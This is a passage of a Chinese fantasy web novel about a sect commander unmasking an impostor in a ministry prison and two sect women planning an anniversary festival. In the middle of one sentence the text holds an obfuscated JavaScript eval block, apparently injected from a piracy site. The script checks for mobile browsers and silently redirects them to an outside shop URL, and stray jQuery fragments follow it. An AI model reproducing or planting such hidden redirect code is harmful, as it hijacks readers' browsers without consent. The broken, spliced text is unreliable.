与此同时,灰雨之下另一处昏暗之地。
刑部大牢内,一个官吏领着一人缓步走至铁牢前,牢内之人头痛欲裂,丝毫不顾形象的躺在地上,压根没注意到来人。
官吏一声不吭,只是默默将牢上的铁锁解开,钥匙旋转发出一声“咔嚓”后,官吏做出一“请”的动作。
跟在官吏身后的人谭子墨认识,他一身素色,眼角与额间都是皱子,但不妨身形修长,远看就如一文人墨客。
此人也不知与官吏说了什么,竟轻而易举就让官吏离开。
谭子墨扶着脑袋坐起身,眼神麻木地看向他。
“严诚最……”他无力又无助的张了张口。
他是他的伴读书生,在药王谷陪了他大半辈子,也算是半个亲人。
“三公子,咱们可以离开了。”严诚最躬身行礼。
“离开……离开,我们去哪?”谭子墨好不容易清醒一点,但当他听到“离开”二字,心中不免泛起恐惧。
“自然是回药王谷去。公子的病,还尚需治疗一段时日,接我们的车马,已经在刑部外头了。”
眼前人如实答道,谭子墨心想不好,他两手撑地慌忙往后爬。
“我不回药王谷!我不回去!那个死地方,我死也不回去!”
“可公子,这不是你说了,就能算的。”严诚最摆头道。谭子墨往后爬几下,他就往前,紧跟几步。
“大公子死了,二公子受刑。三公子,咱们也该走了。”
“你死开!我不回药王谷!”谭子墨还在垂死挣扎,那双负覆满陈茧的大手仍穷追不舍。
危机关头,一张纸符以最快的速度穿梭于地牢。
纸符绕近道,直穿铁牢,死死钉在严诚最头上。
严诚最身体刹那僵住,一时重心不稳,就毫无颜面的与大地来了个“小”摩擦。
谭子墨眼中惊恐的看着严诚最,又看向纸符的主人。
严诚最倒地,而他身后那位戴着一张白狐面具,青丝如瀑般垂于宽袍,像只有在鬼域才能遇到的不良商贩。
“鬼鬼鬼啊!是鬼域的鬼跑出来了!”谭子墨被吓得不轻。
他这一喊,给刑部地牢闹出不小动静。
戴狐狸面具的人只是静静观望他,指尖流转着灵力,使纸符牢牢控住严诚最。
刑部侍郎莫秋闻声赶来,见谭子墨还是一副疯子模样,他斥责:“放肆!你口中的鬼,是灵妖宗的统领!”
谭子墨顿时愣得说不出话来,他刚刚干了什么?侍郎怎么来了……他也要受刑吗?
“莫侍郎息怒,谭三公子从小体弱,此次又在谭府吸进不少紫烬兰,疯癫症状长时不好也属正常。”应千崇拦住莫秋,语气平淡开口。
应千崇一开口,莫秋心中气也就消了大半,只不过他看到地上的严诚最,难免蹙眉。
莫秋蹲下身,直接上手撕下严诚最的面皮,脸上的褶皱随之消失。
“应统领果真是未卜先知,出手迅猛。”
应千崇谦虚摇头:“莫侍郎过誉,还是侍郎大人明察秋毫,在谭三公子进大牢的那一刻起,就调人去排查谭三公子从药王谷到上京发生的所有事。”
他这样说,莫秋疑问:“你方才只同我说,谭府一案真凶言月已被少宗主就地斩杀,在此之前,你我也丝毫没有提到这谭三公子,应统领又是怎知,我调人去排查了谭三公子?”
应千崇直言不讳,手中凭空又变出一张符来:“识心符。”
识心符,顾名思义,可窥识人心。
莫秋茅塞顿开:“原来如此。”
他想既然灵妖宗的人都知道了,他也没必要再隐瞒。莫秋顺着说下去:“本来是想着,这人进来刑部大牢,那不得探个底,我便派人去了一趟药王谷,结果查到这严书生早在一年前就病故了。”
“既然一年前就病故,谭三公子怎会不知?”
“看他这样子,应不是第一次中毒了。这药王谷就夹在青州城与容州城之间,两城盛产毒物,紫烬兰便是之一,我闻说这毒物吸多了,记忆就不灵光了。”莫秋叹着气道。
言外之意就是说,谭子墨已经把严书生病故一事忘了,也让坏人有了可乘之机。
贩卖毒物一事,朝廷管了四年,可终究是管不住,最终成就烂事一堆。
莫秋:“想来这个假书生与真凶言月也是一伙的。”
应千崇:“莫侍郎这就盖棺定论了?”
莫秋不语,就当认了,眼下这多一事不如少一事。
上京朝廷早已暗潮汹涌,大臣各怀鬼胎,天子登基又年纪尚浅,分不清轻重缓急,最终只能落得个被众臣牵着鼻子走的下场,成为人人背后议论的傀儡皇帝。
血簪现世的四年里,谁都想扳倒天子,但谁也扳不倒天子,因为他们都不敢。
满朝臣子是,十二宗门包括灵妖宗在内亦是。
他们怕的不是天子,而是那个本不属于人界的人物,魔主。
天下各地天气如今已是阴雨连绵,庄稼越来越难生存,国师曾称这是魔气连天之象,怕是过不了多久,魔主就会借这些魔气卷土重来。
当年神魔一战,就是因魔主想危害人间一统天下,惹怒了上神。
可如今上神不在,要是这时候天子再出事,恐怕天下将迎来灭顶之灾。
人间不可一日无主,然,皇族其他几位皇子却各个游手好闲,无一能担重责。
所以朝堂众臣与十二宗门,方今也只能是假意顺从,保护天子到世间魔气大散前,不可出事。
“当务之急,还是天子已经下令,去排查青州城与容州城的毒物。”
莫秋此话也表明,谭府一案到现在已经不重要了,因为谭二公子已“死”,谭府也被抄家,钱财进到国库,天子目的也已达成。
刑部尚书对于谭府一事也没多说什么,莫秋身为侍郎,就更没什么好说的了。
而现在天子下令去处理那些毒物,刑部也只能依着天子。
应千崇自然是明白的,他点头:“既然如此,此人与谭三公子就交给侍郎大人处理了。在下话也已经带到,便先行告退。”
眼见应千崇要离开,莫秋当
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797120|209206||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
即叫住他。
“应统领,还有一事,敢问吾妹莫微在灵妖宗近况如何?”莫秋关心问道,当年是莫微执意要进灵妖宗当仵作,这一当就是许久不归家。
“莫小姐近日在灵妖宗一切安好,勘验之术也有所长进,莫侍郎作为兄长大可放心。”讲罢,应千崇一挥袖,就急匆匆地消失于莫秋面前。
……
暴雨又连着下了几日,等再放晴时,已是十一月廿七。
谭府一案结束后,少宗主回归宗门,一时间灵妖宗群龙有首,几日来所有捉妖师与猎精师训练都奋力了不少。
而此时此刻,解思弦正站在灵妖宗观风台,看破不说破。
俯身看去,她嘴上喃喃:“这几日训练如此卖力,平日可没少偷懒吧。”
站在一旁的小妖不敢乱言,就只能一味附和着:“就是就是。”
幸沧双转而问道:“解姐姐,你今日叫我来观风台可是有什么事?”
自两日前她与解思弦谈判后,幸沧双就一直住在庆仙院中。可她一回到屋里就心生别扭,人家好歹也是少宗主,直呼名讳还是有些不合适,于是她大晚上又去找了一趟解思弦。
她去的时候,解思弦正在整理卷宗。幸沧双厚着脸皮同她聊了整整一夜,才发现眼前这个断案时雷厉风行的少宗主并不可怕。
若要一个词去形容她,那在幸沧双心里一定是“明澈”。
那夜可谓是两人交谈甚欢,自那日后,幸沧双便改口叫她“解姐姐”。
解思弦对此并不反感,两人就这样一拍即合。
站在观风台上的幸沧双回神,看看周遭风景,又看看解思弦。
解思弦故作神秘:“叫你来当然是有大事。”
“什么大事?”
“明日便是灵妖宗宗庆,以此庆祝灵妖宗的设立。每年这个时候,我身为少宗主就要开始计划宗庆安排。”
解思弦郑重其事道:“但今年我累了,想歇息几日。”
“所以今年宗庆的安排你是想……交给我?”幸沧双试着猜了猜。
“嗯。”解思弦认可道:“你很聪敏,此事交给你,我想定能成。”
她这样说,幸沧双心中很是欣喜,但她转而一想:“可解姐姐,我是妖怪啊。”
解思弦即刻打断她:“妖怪怎么了?妖怪也很好啊。”
“真的?”
“真的。”解思弦莞尔一笑:“因为你就很好。”
“我的眼睛不会错的。你若实在不知如何下手,我可以叫上应统领帮你。”解思弦边说,边转动灵力。
她手指一指,一只木鸟就出现在幸沧双面前。
“灵妖宗的每个人都有,给它取个名字,它会随叫随到的。”
幸沧双两手捧着过,她抿着唇,苦思冥想后,她乐呵呵道:
“那我要叫它‘百花’。”
土是土了些,但土名好养活嘛。
“为什么呢?”解思弦好奇问她。
“因为……”
“我希望我瞳孔中倒映的世界是百花齐放的。”